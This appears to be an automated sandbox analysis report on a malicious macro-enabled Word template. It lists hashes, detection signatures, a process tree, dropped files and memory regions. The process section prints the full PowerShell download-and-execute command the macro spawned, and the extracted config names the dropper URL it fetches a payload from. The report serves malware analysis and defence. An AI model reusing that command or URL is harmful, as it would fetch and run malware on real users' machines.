Analysis

  • max time kernel
    133s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-11-2024 12:42

General

  • Target

    2020-01-06_193259.dotm

  • Size

    21KB

  • MD5

    4f02c50f97c3b12f7ea10760b6e0d490

  • SHA1

    2c66fbf312c036fe407d2acd95b9d666a5a1b2ea

  • SHA256

    312fb2addec654d2322674d8c47aeef7cda941cb9047fc311affbdd2fff2297a

  • SHA512

    0210659f3f725f7b2e748b4fffff5219510a21a1b77110e80d76da2a01526505495c6737d80d3cc145d2dae7d023729cdb87930479d133d4bc92a7d963fd72a5

  • SSDEEP

    384:3ea5s/dhP6E+xUJUnhOQG6SG6F7//o4MAuVNci1VBW:ut1hCnUCnweAuvcci

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://kccambodia.com/exe/okayf.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-06_193259.dotm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $client = new-object System.Net.WebClient;$a = 'http://kccambodia.com/exe/okayf.exe'.Split(',');$huas = $env:temp + '\fvlzrrmswjw.exe';foreach($b in $a){try{$client.DownloadFile($b.ToString(), $huas);Invoke-Item($huas);break;}catch{write-host $_.Exception.Message}};
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:924

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD37EA.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uluphvka.z4m.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\fvlzrrmswjw.exe

    Filesize

    114B

    MD5

    e89f75f918dbdcee28604d4e09dd71d7

    SHA1

    f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

    SHA256

    6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

    SHA512

    8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    1KB

    MD5

    6572ebd442bb6824f67fcc0150810a0b

    SHA1

    9206fd6d585fed208969b7a675f0c4f30b813e6c

    SHA256

    56667d86e7761205919b032cbeb691d07ebc4c244206eecb85a234b4a4c61c42

    SHA512

    9c569fa5af5d2353acf438e27462a6ff7473c0c3c4e880862a7480b30487f4b41228ad8da700318e23a8950322f1b8dab484e658ff0f68a8da24827617890c5b

  • memory/728-10-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-19-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-7-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-9-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-8-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-1-0x00007FFAE052D000-0x00007FFAE052E000-memory.dmp

    Filesize

    4KB

  • memory/728-12-0x00007FFA9DE90000-0x00007FFA9DEA0000-memory.dmp

    Filesize

    64KB

  • memory/728-11-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-13-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-14-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-15-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-17-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-18-0x00007FFA9DE90000-0x00007FFA9DEA0000-memory.dmp

    Filesize

    64KB

  • memory/728-16-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-21-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-22-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-20-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-6-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-61-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-63-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-62-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-64-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-3-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

    Filesize

    64KB

  • memory/728-0-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

    Filesize

    64KB

  • memory/728-4-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

    Filesize

    64KB

  • memory/728-5-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

    Filesize

    64KB

  • memory/728-104-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-105-0x00007FFAE052D000-0x00007FFAE052E000-memory.dmp

    Filesize

    4KB

  • memory/728-106-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-107-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-111-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-112-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/728-2-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

    Filesize

    64KB

  • memory/728-118-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

    Filesize

    2.0MB

  • memory/924-73-0x000001D76AA00000-0x000001D76AA22000-memory.dmp

    Filesize

    136KB